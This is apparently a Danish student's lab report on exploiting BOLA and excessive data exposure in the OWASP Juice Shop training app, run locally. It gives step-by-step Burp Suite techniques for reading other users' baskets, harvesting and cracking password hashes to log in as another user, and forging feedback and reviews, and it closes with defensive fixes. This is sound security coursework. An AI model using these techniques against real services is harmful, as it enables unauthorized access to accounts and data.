Skip to content

Øvelse 17 - BOLA & EDE

Forfatter: Mathias Greisen

Dato: 2026-14-09

Fag/modul: IT-Sikkerhed i Webapplikationer

Status: Færdig


1. Beskrivelse af øvelsen

Brug lærte concepter om Broken Object Level Authorization (BOLA) og Excessive Data Exposure (EDE) fra crAPI i JuiceShop.


2. Reproduktion trin for trin

Forudsætninger

  • Adgang til JuiceShop
  • Installeret Burpsuite

Find BOLA

  1. Tilgå JuiceShop med burpsuite som proxy. Opret og log ind som bruger A
  2. Tilføj emner til indkøbskurven.

  3. I Burpsuite tænd for intercept og klik op indkøbskurven i JuiceShop.

    • Noter ID'et på indkøbskurven:

          "GET /rest/basket/6 HTTP/1.1"
      
    • Intercept kan nu deaktiveres igen.

  4. Opret og log ind som bruger B.

  5. Aktiver igen intercept i Bursuite og klik på indkøbskurven.

  6. Send GET request til repeater.

    • Request til: "http://127.0.0.1:3000/rest/basket/{ID}"
  7. Skift ID URL-parameter

    • Skift {ID} til ID noteret i step 3.
  8. Send request og tjek response

    Raw HTTP response
    HTTP/1.1 200 OK
    
    [...]
    
    {
    "status":"success",
    "data":{
        "id":6,
        "coupon":null,
        "UserId":23,
        "createdAt":"2026-09-14T11:48:00.530Z",
        "updatedAt":"2026-09-14T11:48:00.530Z",
        "Products":[
        {
            "id":6,
            "name":"Banana Juice (1000ml)",
            "description":"Monkeys love it the most.",
            "price":1.99,
            "deluxePrice":1.99,
            "image":"banana_juice.jpg",
            "createdAt":"2026-09-14T11:42:10.097Z",
            "updatedAt":"2026-09-14T11:42:10.097Z",
            "deletedAt":null,
            "BasketItem":{
            "ProductId":6,
            "BasketId":6,
            "id":9,
            "quantity":1,
            "createdAt":"2026-09-14T11:48:10.979Z",
            "updatedAt":"2026-09-14T11:48:10.979Z"
            }
        },
    
        [...]
    
        ]
    }
    }
    

    BOLA er her bevist da vi kan se bruger A's indkøbskurv.

Find excessive Data Exposure

  1. Tilgå JuiceShop med Burpsuite som proxy

  2. Åbn photo wall i JuiceShop

    • http://127.0.0.1:3000/#/photo-wall
  3. Tjek http history i Burpsuite

    • Find et GET kald til "GET /rest/memories/ HTTP/1.1"
    • Der sendes kun flere oplysninger retur ved første kald.
  4. Find EDE i response

    Response med EDE
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: application/json; charset=utf-8
    ETag: W/"1827-pjaV9PPdvogygFQBeM0+1zJsQGw"
    Vary: Accept-Encoding
    Date: Mon, 14 Sep 2026 12:40:39 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    Content-Length: 6183
    
    {
    "status":"success",
    "data":[
        {
        "UserId":13,
        [...]
        "User":{
            "id":13,
            "username":"",
            "email":"bjoern@owasp.org",
            "password":"9283f1b2e9669749081963be0462e466",
            "role":"deluxe",
            "deluxeToken":"efe2f1599e2d93440d5243a1ffaf5a413b70cf3ac97156bd6fab9b5ddfcbe0e4",
            "lastLoginIp":"",
            "profileImage":"assets/public/images/uploads/13.jpg",
            "totpSecret":"",
            "isActive":true,
            "createdAt":"2026-09-14T11:42:07.669Z",
            "updatedAt":"2026-09-14T11:42:07.669Z",
            "deletedAt":null
        }
        },
        [...]
    ]
    }
    
    • Som man kan se returneres der både email, password, rolle og tokens for andre brugere.
  5. Knæk passwords online

    • Som eksempel fra forrige response er der fundet følgende oplysinger:

      {
      "email":"ethereum@juice-sh.op",
      "password":"2c17c6393771ee3048ae34d6b380c5ec"
      }
      
    • Passworded ligner en hash

    • CrackStation kan knække den:

      Hash Type Result
      2c17c6393771ee3048ae34d6b380c5ec md5 private
  6. Log ind som brugeren

    • Som det kan ses herunder, så virkede det knækkede password:

      Billede af at være logget ind som funden bruger med knækket password

  7. Bruger systemet salt når passwords gemmes?

    • Nej. Dette blev testet ved at:
      • Knække password for en anden bruger (bjoern.kimminich@gmail.com) ligesom i trin 5.
      • Ændre password for brugeren "ethereum@juice-sh.op" til det samme som brugeren "bjoern.kimminich@gmail.com".
      • Køre step 1-4 igen og tjek at begges brugeres password er ens i response, hvilket de er.

Kombiner og exploit

Hvis man ikke kan knække en adgangskode i forrige afsnit, kan man stadigvæk tilgå deres kurv:

  1. Noter brugerens ID (UserId)
  2. Følg find BOLA afsnittet og indtil du har GET request for kurven i Burpsuite repeater.
  3. Skift (enumerer) basket ID'et indtil en kurv linket til det korrekte UserID returneres.

    {
    "status":"success",
    "data":{
        "id":1,
        "coupon":null,
        "UserId":1,
        "createdAt":"2026-09-14T11:42:10.290Z",
        "updatedAt":"2026-09-14T11:42:10.290Z",
        "Products":[
        {
            "id":1,
            "name":"Apple Juice (1000ml)",
            "description":"The all-time classic.",
            "price":1.99,
            "deluxePrice":0.99,
            "image":"apple_juice.jpg",
            "createdAt":"2026-09-14T11:42:10.097Z",
            "updatedAt":"2026-09-14T11:42:10.097Z",
            "deletedAt":null,
            "BasketItem":{
            "ProductId":1,
            "BasketId":1,
            "id":1,
            "quantity":2,
            "createdAt":"2026-09-14T11:42:10.350Z",
            "updatedAt":"2026-09-14T11:42:10.350Z"
            }
        },
    
        [...]
    
        ]
    }
    }
    
    4. Hvis kurven ikke kan findes, så har brugeren muligvis ikke oprettet en.

Even More BOLA vulnerabilities

Forge feedback from another user

  1. Tilgå JuiceShop og klik på Customer Feedback.

  2. Udfyld felterne.

  3. Aktiver intercept i Burpsuite og indsend feedback.

  4. I Burpsuite send POST requesten til repeater.

  5. Skift "UserId" og evt. "comment" i request body til det ønskede.

    Eksempel på ændret data
    "UserId":21,
    "captchaId":3,
    "captcha":"55",
    "comment":"Test feedback (hacked)",
    "rating":1
    
  6. Send request afsted og tjek response for at det lykkedes

    Eksempel på ændret data
    "status":"success",
    "data":{
        "id":10,
        "UserId":21,
        "comment":"Test feedback (hacked)",
        "rating":1,
        "updatedAt":"2026-09-14T13:45:04.048Z",
        "createdAt":"2026-09-14T13:45:04.048Z"
    }
    
  7. (Ektra) Tjek administrator panel

    Dette kræver adgang til en admin konto i JuiceShop

    • Tilgå http://127.0.0.1:3000/#/administration
    • Tjek at den nye feedback er oprettet

    Skærmbillede af feedback

Create or edit another users product review

  1. Åben JuiceShop og log ind.

  2. Opret et review på et produkt.

  3. Aktiver intercept i Burpsuite og klik på rediger review.

  4. Send PATCH request til repeater. Og deaktiver intercept.

  5. Aktiver intercept igen og klik på en vare.

  6. I Burpsuite, send GET request til repeater.

    • GET request til følgende endpoint: "/rest/products/30/reviews"
  7. Åben repeater og send GET request afsted. Noter "_id" for den kommentar som ønskes ændret.

    "message":"0 st4rs f0r 7h3 h0rr1bl3 s3cur17y",
    "author":"uvogin@juice-sh.op",
    "product":30,
    "likesCount":0,
    "likedBy":[
    ],
    "_id":"w6fbzSKqgG5tR7yXL"
    
  8. Find PATCH requesten og indsæt nu det noterede "_id" og skriv feedback besked som ønskes.

    "id":"w6fbzSKqgG5tR7yXL",
    "message":"Dette review er blevet ændret via BOLA"
    
  9. Send PATCH request afsted og tjek response.

    "modified":1,
    "original":[
    {
        "message":"0 st4rs f0r 7h3 h0rr1bl3 s3cur17y",
        "author":"uvogin@juice-sh.op",
        "product":30,
        "likesCount":0,
        "likedBy":[
        ],
        "_id":"w6fbzSKqgG5tR7yXL"
    }
    ],
    "updated":[
    {
        "message":"Dette review er blevet ændret via BOLA",
        "author":"uvogin@juice-sh.op",
        "product":30,
        "likesCount":0,
        "likedBy":[
        ],
        "_id":"w6fbzSKqgG5tR7yXL"
    }
    ]
    

    Det lykkedes altså at ændre en anden brugers review, da applikationen ikke tjekke om vi egentlig ejer den ressource vi forsøger at ændre.

3. Problemer og løsninger

Jeg løb ikke ind i problemer under denne opgave.


4. Resultater og besvarelser

  1. What information was exposed, and under what conditions?
  2. Alt data tilknyttet en bruger sendes retur ved et specifikt endpoint.

  3. What types of authorization checks were missing in this scenario?

  4. Der er intet tjek for hvem der egentlig foretager et request udover at man er logget ind og sender korrekte data afsted i sine requests.

  5. How could the application better enforce access control?

  6. Ved hvert request bør access token tjekkes for hvem det er og om de så skal have rettighed til at se/ændre/slette objektet.

  7. What changes would prevent users from accessing other users’ data?

  8. Brug af DTO (data transfer object) for hver response/endpoint kan give mulighed for kun at sende det data retur som man rent faktisk skal bruge og ønsker at brugerne kan se.
  9. Dette kunne f.eks. være en UserDto, hvor f.eks. password ikke er en del af objektet.

5. Opsummering af erfaringer

Jeg har fået flere erfaringer med BOLA og EDE. Herunder hvor man evt. også kan lede og finde sårbarheder. Samtidigt kan man nu lettere reflektere over hvorfor authorization, access control og brug af DTO'er er vigtigt.